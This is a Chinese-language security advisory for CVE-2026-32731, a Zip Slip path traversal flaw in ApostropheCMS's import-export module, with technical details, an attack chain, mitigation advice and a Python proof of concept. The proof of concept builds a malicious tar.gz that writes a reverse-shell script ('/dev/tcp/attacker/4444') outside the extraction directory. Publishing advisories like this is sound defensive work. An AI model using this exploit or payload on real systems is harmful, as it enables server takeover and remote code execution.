IPBUF安全漏洞报告
English
CVE-2026-32731 CVSS 9.9 严重

CVE-2026-32731 ApostropheCMS import-export模块Zip Slip路径穿越漏洞

披露日期: 2026-03-18

漏洞信息

漏洞编号
CVE-2026-32731
漏洞类型
路径穿越/任意文件写入
CVSS评分
9.9 严重
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
ApostropheCMS @apostrophecms/import-export

相关标签

Zip Slip路径穿越任意文件写入远程代码执行ApostropheCMS内容管理框架CVE-2026-32731tar.gz解压path.join漏洞

漏洞概述

CVE-2026-32731是ApostropheCMS开源内容管理框架中@apostrophecms/import-export模块存在的严重安全漏洞。该漏洞为典型的Zip Slip(压缩包路径穿越)漏洞,存在于gzip.js文件的extract()函数中。漏洞根源在于使用path.join()函数构造文件写入路径时,未对压缩包内文件名的路径遍历字符(如../)进行过滤和验证。攻击者可通过制作包含路径遍历文件名的恶意.tar.gz压缩包,利用CMS标准导入功能上传,突破预期目录限制,将任意文件写入服务器任意路径。由于Node.js进程通常具有较高权限,攻击者可写入webshell或系统配置文件,从而实现远程代码执行,获取服务器完全控制权。该漏洞CVSS评分高达9.9(严重),CVSS向量为CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H,任何拥有Global Content Modify权限的用户均可利用此漏洞发起攻击。

技术细节

漏洞位于@apostrophecms/import-export模块的gzip.js文件中,具体在extract()函数实现。问题代码使用fs.createWriteStream(path.join(exportPath, header.name))构造写入路径,其中header.name来自tar.gz压缩包内的文件名。path.join()函数仅做字符串拼接,不解析或清理路径遍历序列(如../),导致恶意文件名../../evil.js会被原样保留,最终路径会跳出预期导出目录。漏洞利用前提条件:1)攻击者拥有CMS账号且具备Global Content Modify权限(内容编辑者或网站管理员常见角色);2)利用CMS标准导入界面上传特制的.tar.gz文件;3)Node.js进程对目标路径有写入权限。成功利用后可写入任意文件到服务器可访问的任何目录,结合系统特性(如写入定时任务、SSH authorized_keys、.bashrc等)可实现持久化远程代码执行。官方在3.5.3版本中修复了此问题。

攻击链分析

STEP 1
1
攻击者获取ApostropheCMS账号并获得Global Content Modify权限
STEP 2
2
攻击者创建包含路径遍历文件名的恶意.tar.gz压缩包(如../../tmp/evil.js)
STEP 3
3
攻击者通过CMS标准导入界面上传恶意压缩包
STEP 4
4
gzip.js的extract()函数使用path.join()拼接路径,未过滤../字符
STEP 5
5
恶意文件被写入服务器任意路径(如/tmp/evil.js)
STEP 6
6
攻击者通过写入定时任务、webshell或配置文件实现远程代码执行

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import tarfile import io import os # PoC: Generate malicious .tar.gz with path traversal filename def create_malicious_tgz(): """ Create a malicious tar.gz file exploiting CVE-2026-32731 This PoC demonstrates how path traversal in tar entries can escape extraction directory """ # Create a malicious file with path traversal malicious_filename = '../../../../../../../../../tmp/evil.sh' malicious_content = b'#!/bin/bash\n# Malicious script - reverse shell or other payload\n/bin/bash -i >& /dev/tcp/attacker/4444 0>&1\n' # Create tar archive in memory tar_buffer = io.BytesIO() with tarfile.open(fileobj=tar_buffer, mode='w:gz') as tar: # Create TarInfo with path traversal in name info = tarfile.TarInfo(name=malicious_filename) info.size = len(malicious_content) tar.addfile(info, io.BytesIO(malicious_content)) return tar_buffer.getvalue() # Alternative: Direct file write for testing def generate_poc_files(): """ Generate files needed for manual testing """ # Create malicious tar.gz tgz_content = create_malicious_tgz() with open('malicious_import.tar.gz', 'wb') as f: f.write(tgz_content) print('[+] Created: malicious_import.tar.gz') print('[+] Upload via ApostropheCMS import UI to trigger vulnerability') print('[+] File will be written to /tmp/evil.sh (or similar path based on traversal depth)') if __name__ == '__main__': generate_poc_files()

影响范围

@apostrophecms/import-export < 3.5.3
ApostropheCMS (all versions using vulnerable import-export module)

防御指南

临时缓解措施
立即将@apostrophecms/import-export模块升级至3.5.3版本。若无法立即升级,可临时禁用导入功能或限制仅有受信任管理员可使用,同时配置Web应用防火墙规则检测上传文件中的路径遍历字符(../、..\等)。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表